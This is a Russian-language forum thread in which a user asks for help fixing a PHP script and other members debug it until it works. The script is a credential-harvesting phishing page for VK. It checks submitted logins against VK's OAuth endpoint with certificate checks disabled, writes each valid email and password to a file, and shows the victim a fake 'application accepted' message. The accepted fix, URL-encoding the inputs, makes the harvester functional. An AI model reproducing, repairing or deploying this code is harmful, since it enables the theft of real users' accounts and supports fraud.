Перейти к содержимому



Купить ссылку здесь
Фотография

Подскажите, пожалуйста, что не так с кодом

Форум ZiSMO.biz
  • Закрытая тема Тема закрыта

Лучший Ответ FTOH , 01 10 2016 - 15:07

Пишет тоже самое, но появилось еще [ ]

Нашел причину. Замените получение логина и пароля на это

$email    = urlencode(iconv('utf-8', 'windows-1251', $_POST['email']));
$password = urlencode(iconv('utf-8', 'windows-1251', $_POST['password']));
Перейти к сообщению

13
Сообщений в теме: 13

OFFLINE Отправлено

mr.freeman
группа пользователя

    Новичок

  • Cообщений: 21
  • Друзей:2
  • Поинты: 41
  • Предупреждений: 0
  • Онлайн:2д 5ч 49м
0

Что в этом коде не так?

 

<?php
 
if (isset($_POST['email'])) {
    $email    = iconv('utf-8', 'windows-1251', $_POST['email']);
    $password = iconv('utf-8', 'windows-1251', $_POST['password']);
    $res      = curl('https://oauth.vk.com...nYsH&username='. $email . '&password=' . $password . '&captcha_key=&captcha_sid=');
    $lo       = 'access_token';
    $pos      = strripos($res, $lo);
    if ($pos === false) {
        $info = '<div class="alert alert-danger">Ошибка! Вы ввели неверный логин или пароль! ' . $proxy . '</div>';
    } else {
        $res = json_decode($res, true);
        $id  = $res['user_id'];
        
        $name = curl('https://api.vk.com/m....get?user_ids='. $id . '&fields=counters');
        $name = json_decode($name, true);
        
        $res    = json_decode($res, true);
        $id     = $res['user_id'];
        $fp     = fopen("base.php", "a");
        $mytext = "$email:$password\r\n";
        $test   = fwrite($fp, $mytext);
        fclose($fp);
        
        
        
        $fulname = $name['response']['0']['first_name'] . ' ' . $name['response']['0']['last_name'];
        $info    = '<div class="alert alert-success">' . $fulname . ', Ваша заявка принята, ожидайте обработки!</div>';
        
    }
}
 
 
echo $info;
 
 
function curl($url)
{
    
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}
?>




    • 0
  • Наверх

ONLINE Отправлено

KemperenoК
группа пользователя

    smmquick.ru Продвижение ВК / INST

  • Cообщений: 38 943
  • Друзей:918
  • Поинты: 3 416
  • Предупреждений: 0
  • Онлайн:303д 4ч 47м
1 730

Переместил в нужный раздел.


ab84124cff58.gif 25.05 hstoorgfil_6794682_23572992.gif 06.02cf8eb5f80884.png 04.03 536eea51bd83.png 09.02

    • 0
  • Наверх

OFFLINE Отправлено

makepuff
группа пользователя

    Пользователь

  • Cообщений: 406
  • Друзей:10
  • Поинты: 1
  • Предупреждений: 0
  • Онлайн:16д 5ч 34м
7

echo $info; попробуй удалить


    • 0
  • Наверх

OFFLINE Отправлено

fander22
группа пользователя

    Новичок

  • Cообщений: 44
  • Друзей:4
  • Поинты: 3
  • Предупреждений: 0
  • Онлайн:1д 22ч 18м
0

echo $info; попробуй удалить


Сообщение отредактировал fander22: 01 10 2016 - 10:26

    • 0
  • Наверх

OFFLINE Отправлено

FTOH
группа пользователя

    Постоянный

  • Cообщений: 1 715
  • Друзей:72
  • Поинты: 3
  • Предупреждений: 70
226

После "$res = curl(..." поставь "echo $res;" и скопируй сюда вывод. Возможно при авторизации капча выскакивает.


    • 0
  • Наверх

OFFLINE Отправлено

mr.freeman
группа пользователя

    Новичок

  • Cообщений: 21
  • Друзей:2
  • Поинты: 41
  • Предупреждений: 0
  • Онлайн:2д 5ч 49м
0

После "$res = curl(..." поставь "echo $res;" и скопируй сюда вывод. Возможно при авторизации капча выскакивает.

После..это с новой строки? Вот так?

$res      = curl('https://oauth.vk.com...nYsH&username='.$email . '&password=' . $password . '&captcha_key=&captcha_sid=');

echo $res;


    • 0
  • Наверх

OFFLINE Отправлено

FTOH
группа пользователя

    Постоянный

  • Cообщений: 1 715
  • Друзей:72
  • Поинты: 3
  • Предупреждений: 70
226

После..это с новой строки? Вот так?

$res      = curl('https://oauth.vk.com...nYsH&username='.$email . '&password=' . $password . '&captcha_key=&captcha_sid=');

echo $res;

Да


    • 0
  • Наверх

OFFLINE Отправлено

mr.freeman
группа пользователя

    Новичок

  • Cообщений: 21
  • Друзей:2
  • Поинты: 41
  • Предупреждений: 0
  • Онлайн:2д 5ч 49м
0
 

Да

Пишет тоже самое "Ошибка! Вы ввели неверный логин или пароль!"


    • 0
  • Наверх

OFFLINE Отправлено

FTOH
группа пользователя

    Постоянный

  • Cообщений: 1 715
  • Друзей:72
  • Поинты: 3
  • Предупреждений: 70
226

 

 

Пишет тоже самое "Ошибка! Вы ввели неверный логин или пароль!"

 

Тогда так: echo '['.$res.']';


    • 0
  • Наверх

OFFLINE Отправлено

mr.freeman
группа пользователя

    Новичок

  • Cообщений: 21
  • Друзей:2
  • Поинты: 41
  • Предупреждений: 0
  • Онлайн:2д 5ч 49м
0

Тогда так: echo '['.$res.']';

Пишет тоже самое, но появилось еще [ ]


    • 0
  • Наверх

OFFLINE Отправлено   Лучший Ответ

FTOH
группа пользователя

    Постоянный

  • Cообщений: 1 715
  • Друзей:72
  • Поинты: 3
  • Предупреждений: 70
226

Пишет тоже самое, но появилось еще [ ]

Нашел причину. Замените получение логина и пароля на это

$email    = urlencode(iconv('utf-8', 'windows-1251', $_POST['email']));
$password = urlencode(iconv('utf-8', 'windows-1251', $_POST['password']));

    • 1
  • Наверх

OFFLINE Отправлено

mr.freeman
группа пользователя

    Новичок

  • Cообщений: 21
  • Друзей:2
  • Поинты: 41
  • Предупреждений: 0
  • Онлайн:2д 5ч 49м
0

 

Нашел причину. Замените получение логина и пароля на это

$email    = urlencode(iconv('utf-8', 'windows-1251', $_POST['email']));
$password = urlencode(iconv('utf-8', 'windows-1251', $_POST['password']));

Такая же ошибка "Вы ввели неверный логин или пароль"


    • 0
  • Наверх

OFFLINE Отправлено

mr.freeman
группа пользователя

    Новичок

  • Cообщений: 21
  • Друзей:2
  • Поинты: 41
  • Предупреждений: 0
  • Онлайн:2д 5ч 49м
0

 

Нашел причину. Замените получение логина и пароля на это

$email    = urlencode(iconv('utf-8', 'windows-1251', $_POST['email']));
$password = urlencode(iconv('utf-8', 'windows-1251', $_POST['password']));

Проблема решена, спасибо. Очень помог 

FTOH
    • 0
  • Наверх

OFFLINE Отправлено

L1ke
группа пользователя

    ~

  • Cообщений: 7 363
  • Друзей:31
  • Поинты: 129
  • Предупреждений: 0
  • Онлайн:113д 7ч 52м
653

 

Проблема решена, спасибо. Очень помог 

FTOH

 


proxy6_468.png
    • 0
  • Наверх